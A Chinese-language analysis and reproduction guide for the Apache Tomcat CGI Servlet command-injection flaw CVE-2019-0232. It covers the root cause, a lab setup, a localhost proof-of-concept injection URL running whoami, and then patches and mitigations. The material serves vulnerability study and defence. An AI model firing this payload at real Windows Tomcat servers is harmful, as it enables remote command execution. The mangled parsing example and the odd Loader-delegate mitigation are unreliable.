Apache Tomcat远程执行代码漏洞(CVE-2019-0232)分析与复现指南
一、漏洞背景
Apache Tomcat是一个开源的Java Servlet容器,实现了多个Java EE规范。2019年4月发现的CVE-2019-0232漏洞涉及Tomcat的CGI Servlet组件,这是一个高严重性的远程代码执行(RCE)漏洞。
二、受影响版本
- Tomcat 7.x < 7.0.94
- Tomcat 8.x < 8.5.40
- Tomcat 9.x < 9.0.19
三、漏洞原理分析
3.1 CGI Servlet工作机制
CGI(Common Gateway Interface)是Web服务器与外部程序之间的接口标准。Tomcat的CGI Servlet默认禁用,当启用时用于执行Tomcat JVM外部的程序。
关键配置参数:
enableCmdLineArguments:控制是否从查询字符串生成命令行参数
3.2 漏洞根源
漏洞源于Java运行时环境(JRE)将命令行参数传递给Windows系统时的错误处理:
- Windows通过
CreateProcess()函数启动新进程,命令行参数作为单个字符串传递 - Java应用通过
ProcessBuilder()和ProcessImpl.start()方法创建进程 - 当执行
.bat或.cmd文件时,Windows会隐式调用cmd.exe处理 - Java未正确处理
cmd.exe的特殊字符转义规则
3.3 命令注入原理
当处理.bat/.cmd文件时,Windows会转换命令行为:
hello.bat ... → C:\Windows\system32\cmd.exe /c "hello.bat ..."
由于Java未对传递给cmd.exe的参数进行正确转义,攻击者可通过特殊字符(如&, |)注入恶意命令。
示例:
hello.bat"dir\"&whoami"会被cmd.exe解析为两个命令:
hello.bat"dir\"whoami"
四、漏洞复现步骤
4.1 环境准备
- 下载受影响版本的Tomcat(7.0.93、8.5.39或9.0.18)
- 解压并配置环境变量
4.2 配置文件修改
修改conf/context.xml:
<Context>
<Loader delegate="true"/>
</Context>
修改webapps/cgi/WEB-INF/web.xml:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
4.3 创建测试脚本
在webapps/cgi/cgi-bin/目录下创建hello.bat文件:
@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!
4.4 漏洞验证
访问URL:
http://localhost:8080/cgi-bin/hello.bat?dir
尝试命令注入:
http://localhost:8080/cgi-bin/hello.bat?dir\"&whoami"
五、修复方案
-
官方补丁:升级到以下或更高版本
- Tomcat 7.0.94+
- Tomcat 8.5.40+
- Tomcat 9.0.19+
-
临时缓解措施:
- 在CGI Servlet配置中将
enableCmdLineArguments参数设为false - 禁用CGI Servlet(如不需要)
- 在CGI Servlet配置中将
-
安全配置:
- 设置
<Loader delegate="false"/>(可能影响某些功能) - 严格限制CGI脚本目录的访问权限
- 设置
六、深入技术细节
6.1 Windows命令行处理机制
Windows命令行处理流程:
CreateProcess()接收单个命令行字符串- 程序使用
GetCommandLine()获取命令行 - 使用
CommandLineToArgvW()解析参数
6.2 Java进程创建流程
Java应用创建进程的调用链:
ProcessBuilder.start() → ProcessImpl.start() → CreateProcess()
6.3 cmd.exe的特殊处理
.bat/.cmd文件执行时:
- 系统隐式调用
cmd.exe /c "filename args" cmd.exe执行自己的命令行解析- 元字符(
&,|,^,")具有特殊含义 - 不正确的转义会导致命令注入
七、防御建议
-
避免在Windows服务器上启用CGI Servlet
-
如需使用CGI功能:
- 升级到安全版本
- 禁用命令行参数传递
- 严格验证输入参数
- 使用白名单限制可执行程序
-
监控Tomcat日志中的可疑CGI请求
八、参考资源
-
Apache Tomcat安全公告:
https://tomcat.apache.org/security-9.html -
CVE详细描述:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0232 -
官方补丁提交:
https://github.com/apache/tomcat/commit/15fcd166ea25a7c2d0c2329f13287baf4fe78fc0